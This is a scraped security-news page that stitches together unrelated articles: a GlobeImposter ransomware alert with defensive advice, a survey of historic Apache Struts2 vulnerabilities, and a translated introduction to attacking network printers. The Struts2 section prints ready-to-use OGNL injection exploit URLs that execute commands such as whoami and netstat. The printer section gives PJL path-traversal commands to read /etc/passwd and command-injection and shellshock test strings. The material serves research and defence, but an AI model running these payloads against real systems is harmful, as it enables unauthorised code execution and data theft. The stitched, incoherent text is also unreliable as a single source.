【招聘】加入VIPKID安全中心,一起守护希望的未来!
好未来教育集团招聘高级安全工程师
热门推荐
文章目录
公司简介
办公地点
招聘岗位
测试工程师(10k-20k)
机器学习工程师(10k-20k)
后端开发工程师(10k-20k)
安全工程师(10k-20k)
运维工程师(10k-20k)
产品经理(15k-30k)
人力资源经理(10k-20k)
员工福利
联系方式
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

360 勒索病毒

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
360威胁情报:GlobeImposter勒索病毒攻击事件分析
阅读量 197516 | 评论 9

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-08-23 11:00:10
360企业安全监测到,2018年8月21日起多地发生GlobeImposter勒索病毒事件,经过定性分析,攻击者在突破边界防御后利用黑客工具进行内网渗透并选择高价值目标服务器人工投放勒索病毒。此攻击团伙主要攻击开启远程桌面服务的服务器,利用密码抓取工具获取管理员密码后对内网服务器发起扫描并人工投放勒索病毒,导致文件被加密。病毒感染后的主要特征包括windows 服务器文件被加密、且加密文件的文件名后缀为*.RESERVE。根据本次事件特征分析,除已受到攻击的单位外,其它同类型单位也面临风险,需积极应对。
文档信息
文档名称 GlobeImposter勒索攻击事件安全预警通告第三次更新
关键字 勒索病毒GlobeImposter
发布日期 2018年2月26日
更新日期 2018年8月23日
分析团队 360安全监测与响应中心,360威胁情报中心,360安服团队、360天擎

事件信息
360企业安全监测到2018年8月21日起,多地发生GlobeImposter勒索病毒事件,经过定性分析,攻击者在突破边界防御后利用黑客工具进行内网渗透并选择高价值目标服务器人工投放勒索病毒。此攻击团伙主要攻击开启远程桌面服务的服务器,利用密码抓取工具获取管理员密码后对内网服务器发起扫描并人工投放勒索病毒,导致文件被加密。病毒感染后的主要特征包括windows 服务器文件被加密、且加密文件的文件名后缀为*.RESERVE。

360安全监测与响应中心、 360 威胁情报中心、360安服团队、360天擎对此事件进行了紧密跟踪与分析,认为本次事件不同于普通的勒索病毒事件。

勒索病毒之前的传播手段主要以钓鱼邮件、网页挂马、漏洞利用为主,例如Locky在高峰时期仅一家企业邮箱一天之内就遭受到上千万封勒索钓鱼邮件攻击。然而,从2016年下半年开始,随着Crysis/XTBL的出现,通过RDP弱口令暴力破解服务器密码人工投毒(常伴随共享文件夹感染)逐渐成为主角。到了2018年,几个影响力最大的勒索病毒几乎全都采用这种方式进行传播,这其中以GlobeImposter、Crysis为代表,感染用户数量最多,破坏性最强。360安全监测与响应中心在2018年8月16日发布的《GandCrab病毒勒索攻击安全预警通告》中涉及到的GandCrab病毒也是采用RDP弱口令暴力破解服务器密码人工投毒的方式进行勒索。

根据本次事件特征分析,除已受到攻击的单位外,其它同类型单位也面临风险,需积极应对。

黑客突破边界防御后,会以工具辅助手工的方式,对内网其他机器进行渗透。通过对多个现场的调查,黑客所使用的工具包括但不限于:

全功能远控木马
自动化添加管理员的脚本
内网共享扫描工具
Windows 密码抓取工具
网络嗅探、多协议暴破工具
浏览器密码查看工具
攻击者在打开内网突破口后,会在内网对其他主机进行口令暴破。在内网横向移动至一台新的主机后,会尝试进行包括但不限于以下操作:

手动或用工具卸载主机上安装的防护软件
下载或上传黑客工具包
手动启用远程控制以及勒索病毒

风险等级
360安全监测与响应中心风险评级为:高危

预警等级:蓝色预警(一般网络安全预警)

容易受攻击组织影响的机构
本次攻击者主要的突破边界手段可能为Windows远程桌面服务密码暴力破解,在进入内网后会进行多种方法获取登陆凭据并在内网横向传播。

综上,符合以下特征的机构将更容易遭到攻击者的侵害:

存在弱口令且Windows远程桌面服务(3389端口)暴露在互联网上的机构。
内网Windows终端、服务器使用相同或者少数几组口令。
Windows服务器、终端未部署或未及时更新安全加固和杀毒软件

处置建议
紧急解决方案
针对本次攻击事件,我们提供紧急解决方案如下:

一、紧急处置方案

1、对于已中招服务器

下线隔离。

2、对于未中招服务器

1)在网络边界防火墙上全局关闭3389端口或3389端口只对特定IP开放。

2)开启Windows防火墙,尽量关闭3389、445、139、135等不用的高危端口。

3)每台服务器设置唯一口令,且复杂度要求采用大小写字母、数字、特殊符号混合的组合结构,口令位数足够长(15位、两种组合以上)。

二、后续跟进方案

1)对于已下线隔离中招服务器,联系专业技术服务机构进行日志及样本分析。

服务器、终端防护
1. 所有服务器、终端应强行实施复杂密码策略,杜绝弱口令

2. 杜绝使用通用密码管理所有机器

3. 安装杀毒软件、终端安全管理软件并及时更新病毒库

4. 及时安装漏洞补丁

5. 服务器开启关键日志收集功能,为安全事件的追踪溯源提供基础

网络防护与安全监测
1. 对内网安全域进行合理划分。各个安全域之间限制严格的 ACL,限制横向移动的范围。

2. 重要业务系统及核心数据库应当设置独立的安全区域并做好区域边界的安全防御,严格限制重要区域的访问权限并关闭telnet、snmp等不必要、不安全的服务。

3. 在网络内架设 IDS/IPS 设备,及时发现、阻断内网的横向移动行为。

4. 在网络内架设全流量记录设备,以及发现内网的横向移动行为,并为追踪溯源提供良好的基础。

应用系统防护及数据备份
1. 应用系统层面,需要对应用系统进行安全渗透测试与加固,保障应用系统自身安全可控。

2. 对业务系统及数据进行及时备份,并验证备份系统及备份数据的可用性。

3. 建立安全灾备预案,一但核心系统遭受攻击,需要确保备份业务系统可以立即启用;同时,需要做好备份系统与主系统的安全隔离工作,辟免主系统和备份系统同时被攻击,影响业务连续性。

安全防护本身是一个动态的对抗过程,在以上安全加固措施的基础上,日常工作中,还需要加强系统使用过程的管理与网络安全状态的实时监测:

电脑中不使用不明来历的U盘、移动硬盘等存储设备;不接入公共网络,同时机构的内部网络中不运行不明来历的设备接入。

要常态化的开展安全检查和评估,及时发现安全薄弱环节,及时修补安全漏洞和安全管理机制上的不足,时刻保持系统的安全维持在一个相对较高的水平;(类似定期体检)

及时关注并跟进网络安全的技术进步,有条件的单位,可以采取新型的基于大数据的流量的监测设备并配合专业的分析服务,以便做到蠕虫病毒的第一时间发现、第一时间处置、第一时间溯源根除。

技术分析
勒索样本分析
1.样本初始化

勒索样本在运行后首先判断%LOCALAPPDATA%或%APPDATA%环境变量是否存在,如果存在则将自身复制到%LOCALAPPDATA%或%APPDATA%目录,之后将复制后的路径写入:HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\BrowserUpdateCheck 从而实现开机启动。

生成RSA私钥并使用硬编码公钥加密,之后将加密后的密文转换为ASCII码,最后将密文写入%ALLUSERSPROFILE% 变量路径中。

2.加密流程

初始化完成后开始进入加密流程,病毒会遍历全盘,在排除样本中不加密文件夹列表后,使用随机生成的公钥加密其他所有文件,之后将之前生成的机器唯一标识写入文件末尾。

排除的路径如下:

Windows

Microsoft

Microsoft Help

Windows App Certification Kit

Windows Defender

ESET

COMODO

Windows NT

Windows Kits

Windows Mail

Windows Media Player

Windows Multimedia PlatformWindows Phone Kits

Windows Phone Silverlight Kits

Windows Photo Viewer

Windows Portable Devices

Windows Sidebar

Windows PowerShell

NVIDIA Corporation

Microsoft .NET

Internet Explorer

Kaspersky Lab

McAfe

Avira

spytech software

sysconfig

Avast

DrWeb

Symantec

Symantec_Client_Security

system volume information

AVG

Microsoft Shared

Common Files

Outlook Express

Movie Maker

Chrome

Mozilla Firefox

Opera

YandexBrowser

ntldr

Wsus

ProgramData

时间线
[1] 2018年2月26日-360安全监测与响应中心发布预警通告

[2] 2018年2月27日-360安全监测与响应中心第二次发布预警通告

[3] 2018年8月23日-360安全监测与响应中心第三次发布预警通告

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/157562
安全客 – 有思想的安全新媒体
恶意软件 勒索软件 GlobeImposter

360威胁情报中心 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

Pwn FruitShop的故事(下)
2019-02-27 16:30:53

风雨欲来:恶意软件 Brushaloader 深入分析
2019-02-27 15:30:33

CVE-2018-0296 Cisco ASA 拒绝服务漏洞分析
2019-02-27 15:00:47

Video Downloader(Plus)Chrome插件漏洞分析:绕过CSP实现UXSS
2019-02-27 14:30:23
|发表评论
发表你的评论吧
昵称
杨教授
换一个
|评论列表
网瘾患者 · 2019-01-13 23:41:21 回复
数据库是可以恢复,其他文件不能,公众号“网安众安”有这个病毒解决办法

越南邻国宰相 · 2019-02-26 11:40:04 回复
没有啊

黑帽子 · 2018-12-24 16:06:06 回复
.rooster4444有没有得解决??

白帽子 · 2018-12-17 09:50:00 回复
Pig4444目前有解吗?

Helen · 2018-12-08 19:58:34 回复
我也中毒了,后缀名是Rabbit4444

带头大哥 · 2018-12-03 10:16:56 1 回复
我中毒加密文件后缀是horse4444,用这个软件分析出来是这个病毒。

Mickey牛 · 2018-12-17 10:16:39 回复
你的 解密完了吗

Mickey牛 · 2018-12-17 10:16:38 回复
你的 解密完了吗

杨教授 · 2018-12-06 09:28:10 回复
你的 解密完了吗

360威胁情报中心
这个人太懒了,签名都懒得写一个
文章
87
粉丝
27
TA的文章
盲眼鹰(APT-C-36):持续针对哥伦比亚政企机构的攻击活动揭露
2019-02-19 14:33:15
1月政企终端安全态势分析报告
2019-02-18 15:19:45
疑似Molerats APT组织针对中东地区的最新攻击活动分析
2019-02-15 10:38:53
2018年全球十大APT攻击事件盘点
2019-02-08 10:07:13
全球高级持续性威胁2018年总结报告
2019-02-06 10:47:02
输入关键字搜索内容
相关文章
风雨欲来:恶意软件 Brushaloader 深入分析
watchdogs挖矿木马综合分析报告
事件分析 | Linux watchdogs 感染性隐藏挖矿病毒入侵还原录
预警 | 部分云上用户中招 watchdogs 感染性挖矿病毒
Pony Loader窃密木马样本分析
盗号木马疯狂窃取游戏币,竟还利用搜索引擎打广告?
Lucky双平台勒索者解密分析
热门推荐
文章目录
文档信息
事件信息
风险等级
容易受攻击组织影响的机构
处置建议
紧急解决方案
服务器、终端防护
网络防护与安全监测
应用系统防护及数据备份
技术分析
勒索样本分析
时间线
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

struts2 漏洞

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【技术分享】浅谈struts2历史上的高危漏洞
阅读量 86385 | 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-09-04 15:08:06
http://p1.qhimg.com/t01e0225f1ed0463bd6.jpg

作者:Carpediem

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

Apache Struts2作为世界上最流行的Java Web框架之义,广泛应用于教育、金融、互联网、通信等重要行业。它的一个高危漏洞危害都有可能造成重大的互联网安全风险和巨大的经济损失。本文旨在对以往的高危漏洞形成原因、受影响的版本以及相应的利用方式进行一次梳理,若有不完善的地方欢迎大家指正。

先来介绍一些基本知识:Struts1是全世界第一个发布的MVC框架,Struts2实在webwork和Struts1的基础上开发的,Struts2和webwork底层都用到了xwork。并且整合了一种更为强大的表达式语言:ognl。基于Struts2框架开发项目的时候,需要引用一些基础的jar包,在Struts 2.0.*的时候,Struts2的必备jar包需要如下5个:

struts2-core-x.x.jar —————–struts2的核心包
Freemarker-x.x.jar———————FreeMarker是一个模板引擎,一个基于模板生成文本输出的通用工具
commons-logging.jar ——————通用日志记录包
ognl-x.x.jar ——————— ———支持ognl表达式
xwork-x.x.jar ——————— ——–xwork的包 由于Struts2是由xwork的延伸 有些类依然关联着 xwork的类
之后的版本的struts2可能还需要其他的jar包,比如commons-fileupload-1.2.1.jar 支持文件上传的jar包。

apache(http://struts.apache.org/docs/security-bulletins.html)历史上涉及的高危漏洞如下:S2-003,S2-005,S2-007,S2-008,S2-009,S2-012~S2-016,S2-019、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、DevMode。

一 S2-003、S2-005、S2-007

S2-003

受影响版本:低于Struts 2.0.12

Struts2会将HTTP的每个参数名解析为ognl语句执行(可理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,然后通过unicode编码(u0023)或8进制(43)即绕过了安全限制。

S2-005

受影响版本:低于Struts 2.2.1

对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,安全配置被绕过再次导致了漏洞。

EXP:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?%28%2743_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%2743context[%27xwork.MethodAccessor.denyMethodExecution%27]75false%27%29%28b%29%29&%28%2743c%27%29%28%28%[email protected]@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%2743mycmd75%27whoami%27%27%29%28d%29%29&%28h%29%28%28%[email protected]@getRuntime%28%29.exec%2843mycmd%29%27%29%28d%29%29&%28i%29%28%28%2743mydat75new40java.io.DataInputStream%2843myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%2743myres75new40byte[51020]%27%29%28d%29%29&%28k%29%28%28%2743mydat.readFully%2843myres%29%27%29%28d%29%29&%28l%29%28%28%2743mystr75new40java.lang.String%2843myres%29%27%29%28d%29%29&%28m%29%28%28%[email protected]@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%2743myout.getWriter%28%29.println%2843mystr%29%27%29%28d%29%29
执行的“whoami”命令,将会直接写入到showcase.action文件中,并下载到本地。

S2-007

受影响版本:低于Struts 2.2.3.1

S2-007和S2-003、S2-005的漏洞源头都是一样的,都是struts2对OGNL的解析过程中存在漏洞,导致黑客可以通过OGNL表达式实现代码注入和执行,所不同的是:

1. S2-003、S2-005: 通过OGNL的name-value的赋值解析过程、#访问全局静态变量(AOP思想)实现代码执行

2. S2-007: 通过OGNL中String向long转换过程实现代码执行

假设hello.java中定义了一个整数long id,id来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞,因此要想利用此漏洞,程序中必须有可以接受外界输入的id等参数。

EXP:

http://x.x.x.x/hello.action?id=’%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context[“xwork.MethodAccessor.denyMethodExecution”]=false,%23cmd=”ifconfig”,%[email protected]@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%[email protected]@getResponse(),%23out.getWriter().println(%23echo))%2b’

二 S2-009

受影响版本:低于Struts 2.3.1.1

EXP:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
将会在系统上建立/tmp/PWNAGE文件。

三 S2-012、S2-013

受影响版本:低于Struts 2.3.14.1

struts2中可以通过${express}或%{express}来引用ongl表达式,当配置一个action中有${input}或%{input}且input来自于外部输入时,给input赋值%{exp},从而导致任意代码执行。Struts2标签库中的url标签和a标签的includeParams这个属性,代表显示请求访问参数的含义,一旦它的值被赋予ALL或者GET或者 POST,就会显示具体请求参数内容,问题在于,struts竟然把参数做了OGNL解析。

x.jsp

Click here.
EXP:

http://x.x.x.x/x.jsp?a=1${(%23_memberAccess[“allowStaticMethodAccess”]=true,%[email protected]@getRuntime().exec(‘whoami’).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())}

四 S2-016

受影响版本:低于Struts 2.3.15.1

在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

以“redirect”为例进行命令执行:

EXP1:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]%20{%27netstat%27,%27-an%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%20%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%20%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%20%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

五 S2-019

Struts 2.0.0 – Struts 2.3.15.1

Struts 2.3.15.2以后的版本默认关闭开发模式, 比较鸡肋。

发布于 分类 漏洞列表于struts2 漏洞留下评论

网络打印机

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【技术分享】网络打印机安全技术初探
阅读量 54893 | 稿费 260

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-09-21 15:39:00
译文声明
本文是翻译文章,文章原作者,文章来源:0x00sec.org
原文地址:https://0x00sec.org/t/an-introduction-to-printer-exploitation-1/3565

译文仅供参考,具体内容表达以及含义原文为准

×
http://p2.qhimg.com/t01cf0b3af48aa5ede5.jpg

译者:blueSky

预估稿费:260RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

以下章节的内容仅仅是我自己对打印机的研究工作以及最近读到的有关打印机文章的总结。在过去的几个月时间里,我有机会接触到几种不同型号的打印机,并学习了一些有关打印机的基本规范。不论是供应商还是基本规范,各个类型的打印机都不同,并且每个类型的打印机还使用各种不同的协议和固件。在接下来的文章中,我将先对打印机的有关理论知识进行介绍。

那么,为什么要将打印机作为攻击目标呢?为什么不像往常一样研究个人电脑或者服务器上的恶意软件呢?在接下来的几个段落中我们将对上述问题进行阐述。

本地vs网络打印机

本地打印机只是简单的连接到台式电脑上,共享性差。而现在的所有打印机基本上都是网络打印机,使用网络打印机可以使物理位置不在同一个地方的用户共享一个或者多个打印设备,整个视图看起来如下图所示:

http://p3.qhimg.com/t0165e88081d226a24f.png

如上图所示,网络打印机协议作为部署打印作业的通道,直接包含了页面描述语言(PDL)或者首先调用打印机或者作业控制语言!下面我将对上图中的每个部分进行介绍,并对每部分涉及到的基本原理进行阐述。

基础知识

一、固件

根据以往的工作经验,打印机使用了一些嵌入式设备的不同类型的操作系统。例如下面几个操作系统就是一些网络打印机常使用的嵌入式设备操作系统:

1. 可定制的GNU / Linux,

2. WindRiver Linux5,

3. VxWorks5,

4. ThreadX6。

通过对几款打印机的研究和分析,我总结出了这些打印机的一些共同点:

1. 精简指令/命令集-减少功能,

2. 使用版本较老的内核-通常内核版本是2.6.XYZ,

3. 可能包括一些“隐藏”功能,但可以通过wink补丁启用-例如:找到一个ssh文件,但需要在配置文件中启用,

4. 与家用打印机相比,ssh功能更多保留在办公室中的打印机中,

5. 有时固件的存储方式很有趣-例如:在SD卡上,您可以删除或者切换30秒内的物理访问。

以上的这些事实表明,网络打印机可能容易受到某些网络攻击,但这些网络攻击在实施上通常会变得比较“复杂”,因为网络攻击者甚至不能或以某种方式通过(远程)文件系统的写入来启用网络打印机上的某些功能。接下来,我将对打印机协议进行介绍,打印机协议通常用于打印服务器和台式PC之间的通信,甚至用于打印机内部的通信。

二、网络打印协议

在Windows用户群体中,SMB/CIFS协议的打印机很受欢迎。然而,最常见的网络打印协议是LPD,IPP和RAW。此外,一些网络设备还支持FTP或HTTP等通用协议通过文件上传的方式进行打印。

1. LPD

LPD是“行式打印机后台程序”协议的缩写,该协议监听TCP 515端口,可以通过CLI使用“lpr”进行访问。为了打印,客户端需要发送一个作业控制文件和包含要打印的数据文件。

2. IPP

IPP是基于HTTP的扩展协议,因此它继承了HTTP协议所有的安全功能,如基本身份验证和SSL/TLS加密。要提交打印作业,用户需要发送HTTP POST请求到IPP服务器,该服务器监听TCP 631端口,任何人都知道CUPS是IPP协议的一个实现,它是许多Linux发行版和macOS X中的默认打印系统。

3. SMB

SMB(服务器信息块)是应用层网络协议,通常在Windows上使用。该协议监听TCP 445端口,经常用于网络中的共享文件和打印机。

4. 9100端口

也被称为“raw printing”,因为它使用TCP 9100端口进行网络打印操作,通常在CUPS和Windows系统中使用。与LPD,IPP和SMB协议需要使用打印机控制语言才能执行打印操作相比,通过9100端口发送的所有数据都由打印设备直接处理,并直接将打印结果反馈到客户端,包括状态和错误消息。因此我们可以通过该方法来直接访问打印机控制语言的结果!

三、打印机控制语言

基本上,作业控制语言管理当前作业的输出等设置,它通常位于打印协议和页面描述语言之间。打印机控制和管理语言的设计不仅影响单个打印作业,而且影响整个打印设备。

下面我将对最基本的两个打印机控制语言进行介绍:

1. SNMP

SNMP-“简单网络管理协议”,该协议监听UDP 161端口,用于管理网络组件。

2. PJL

PJL是“Printer Job Language”的简称,该控制语言可用于操纵常规设置,也可以永久更改。在许多控制语言中,供应商往往只支持PJL控制语言中的部分命令,并根据打印机的需要自行添加专有的功能。此外,PJL也常用于设置实际打印数据的文件格式,网络攻击者往往对该控制语言的这个功能非常感兴趣。

四、页面描述语言(PDL)

PDL主要用于指定了实际文档的视图,下面将介绍两种主要的页面描述语言:

1. PostScript(PS)

众所周知,该页面描述语言由Adobe发明,并被广泛用于PDL。PS的能力远不止于定义文档的外观和处理矢量图形。因此,当被网络攻击者利用时,PS可以用于各种攻击,例如拒绝服务,打印作业处理和保留以及访问打印机的文件系统等恶意操作。

2. PCL

PCL是各种供应商和设备都支持的极简页面描述语言,该页面描述语言不直接访问底层文件系统,因此和PS相比,该描述语言并不是很适合用于攻击的目的。

漏洞利用

通过Shodan我发现很多人会把打印机放在因特网上,具体如下图所示:

http://p0.qhimg.com/t015fae523e6086029b.png

如上所述,很多网络打印机通过端口9100连接到互联网,因此网络攻击者使用该端口可以对这些网络打印机实施网络攻击。例如利用打印机设备上的一个SSH弱口令的漏洞就可以轻松的登入到网络打印机设备中去。

可能要搞的事情

1. DoS

独占传输通道-阻止一个打印端口,使打印机保持繁忙状态,不再打印任何东西。

文档处理-通过PDL操作文档,让打印机解析该文档。例如:PS中的无限循环。

物理损坏-在NVRAM芯片上写入的恶意软件。

2. 特权升级

恢复出厂设置-重置为出厂默认设置以绕过认证。

绕过账户权限。

3. 访问打印作业

尝试在打印机上查找存储的打印作业并提取它们。

更改打印作业。

4. 信息泄漏

内存访问-可能会找到密码或打印文档中的敏感数据。

文件系统访问-可以检索敏感信息,如配置文件或存储的打印作业。

凭证泄漏-对更改的默认登录凭据进行暴力攻击以获取访问权限

5. 代码执行

缓冲区溢出-由于打印机提供额外的语言和网络服务,因此可能存在缓冲区溢出漏洞;

固件更新-将打印机固件更新为含有恶意软件的固件;

软件包-定制和操纵打印机应用程序。

可能的攻击场景

如上所述,构造何种类型的攻击向量取决于攻击计划和访问方式,一些攻击手法可能需要物理访问,而另一些则可以通过远程来完成。例如,通过简单的打印作业(可能的情况:无需验证)发出恶意固件更新,提取敏感数据并使打印机不可用等。因此对打印机的攻击成败确实取决于它们所在的物理位置及其网络环境。

用到的工具

上面提到的很多技术需要掌握一些底层结构的知识(例如:使用PDL,PCL)。即使使用手册或在线搜索可以很容易地找到这些信息,但仍然是比较麻烦和额外的工作。因此利用现有的工具可以使我们的工作变得轻松和简单。

1. BeEF

浏览器开发框架(BeEx)是一种针对Web浏览器的渗透测试工具。它允许渗透测试者通过使用客户端攻击向量来评估目标环境的实际安全状态,使用该框架可以实现跨站打印。

2.Praeda

Praeda,是一款用Perl编写的自动打印机数据采集工具,该工具可以帮助渗透测试人员在安全评估工作期间收集可用的数据。Praeda能够从打印机的嵌入式Web服务器中收集敏感信息,包括设备密码,用户名以及电子邮件地址等敏感数据信息。

3. PRET15

这是一个用python编写的工具,该工具实现了我上述提到的每个攻击向量。

它通过网络或USB连接到网络打印机,并尝试利用打印机所使用的打印机语言,(目前支持的是PS,PJL和PCL),当成功连接时,有一大堆可以使用的命令。

4. LES

Linux Exploit Suggester是一个小perl脚本,由于嵌入式操作系统的内核版本通常远低于当前linux的桌面或服务器发行版本。那么使用该脚本在一些较旧版本的Linux内核漏洞利用中可能仍然可行!

下面我将通过一个实验性的例子来介绍如何对一台网络打印机实施网络攻击操作。

首先要明确打印机开放哪些端口以及操作系统指纹是什么,这里我们使用nmap来获取这些数据信息,扫描结果如下所示:

$ sudo nmap 192.168.1.108
Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-11 20:13 CEST
Nmap scan report for 192.168.1.108
Host is up (0.031s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
515/tcp open printer
631/tcp open ipp
9100/tcp open jetdirect
MAC Address: 44:D2:44:1C:73:E2 (Seiko Epson)
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
Device type: specialized
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.31 – 2.6.35 (embedded)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
通过对扫描结果的分析我们发现,该打印机开放了9100端口,并且它正在运行一个较旧的Linux内核,但该打印机并没有开放TCP 22端口,因此想要造成文件系统的混乱是不可能的了。然后,使用PRET看看能获取到什么数据信息,实验结果如下所示:

$ python pret.py 192.168.1.108 -s PS
Checking for IPP support: found
Checking for HTTP support: found
Checking for SNMP support: found
Checking for PS support: not found
$ python pret.py 192.168.1.108 -s Pjl
Checking for IPP support: found
Checking for HTTP support: found
Checking for SNMP support: found
Checking for PJL support: not found
$ python pret.py 192.168.1.108 -s PCL
Checking for IPP support: found
Checking for HTTP support: found
Checking for SNMP support: found
Checking for PCL support: not found
依然没有发现SSH,很可能是这款打印机的供应商对该打印机系统做了一些定制化的操作,使其变得稍微安全一些,不然一旦使用PRET连接到打印机中的一个功能,我们将可以做很多事情。例如检查文件系统。 创建目录,更改配置文件甚至dump整个NVRAM。在发现使用PRET无果之后,我继续尝试其他渗透测试工具!我准备使用LES工具,以发现是否存在可以利用的Linux漏洞,实验过程如下所示:

$ perl Linux_Exploit_Suggester.pl -k 2.6.31
Kernel local: 2.6.31
Searching among 65 exploits…
Possible Exploits:
[+] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408/
[+] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814/
[+] do_pages_move
Alt: sieve CVE-2010-0415
Source: Spenders Enlightenment
[+] half_nelson
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787/
[+] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297/
[+] pipe.c_32bit
CVE-2009-3547
Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[+] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150/
[+] ptrace_kmod2
Alt: ia32syscall,robert_you_suck CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023/
[+] rawmodePTY
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[+] rds
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285/
[+] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130/
[+] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024/
通过简单地分析LES工具的输出结果,我决定继续尝试其他方法。

直觉告诉我,为什么不再试试PJL呢?因此我使用netcat作为监听程序,并尝试手动调用一些命令,执行命令如下所示:

echo “@PJL FSUPLOAD FORMAT:BINARY NAME=”../../etc/passwd” OFFSET=0 SIZE=648″ | nc -v -v 192.168.1.108 9100
# If successful this should display the */etc/passwd* file.
或者

echo “@PJL INFO ID” | nc -v -v 192.168.1.108 9100
# If successful this should get the *printer’s device information*
在这个过程中我也尝试了其他PJL命令注入技术,由于它们的命令语法差异很大,加上我也不太了解PS/PCL的启动,因此我的打印机对这种“攻击”一点也没有反应。

一个PRET脚本就能搞定?

如上所述,PRET并不能用来“攻击”我的家用打印机。但是我发现PRET源文件夹中有一个名为“lpdtest.py”的“隐藏”脚本,该脚本可以用来测试行式打印机后台程序中较老的漏洞,测试过程如下所示:

尝试从打印机的文件系统获取文件,代码如下所示:

$ lpdtest.py printer get / etc / passwd
$ lpdtest.py printer get ../../../etc/passwd
#etc…
此测试对用户输入的数据(例如主机名,用户名,作业名,文件名等)进行fuzz处理。

# Test for environment variables
$ lpdtest.py printer in ‘$UID’
# Test for pipes and redirects
$ lpdtest.py printer in ‘| pwd’
$ lpdtest.py printer in ‘>> /etc/passwd’
# Test for backticks
$ lpdtest.py printer in ‘`ls`’
# Test for [shellshock (CVE-2014-6271)](http://seclists.org/oss-sec/2014/q3/650)
$ lpdtest.py printer in ‘() {:;}; /bin/ping -c1 1.2.3.4’
正如预期的那样,这些攻击已经被修复,使用该脚本依然没能成功实施对打印机的攻击操作。

总结

为什么打印机会被攻击?

大多数打印机已经和个人电脑或者服务器没什么区别了!

打印机可用作端口/网络/漏洞利用扫描器

用于计算/哈希破解/嗅探

用于上传恶意软件

用作C&C服务器

盗取未加密的数据

展望

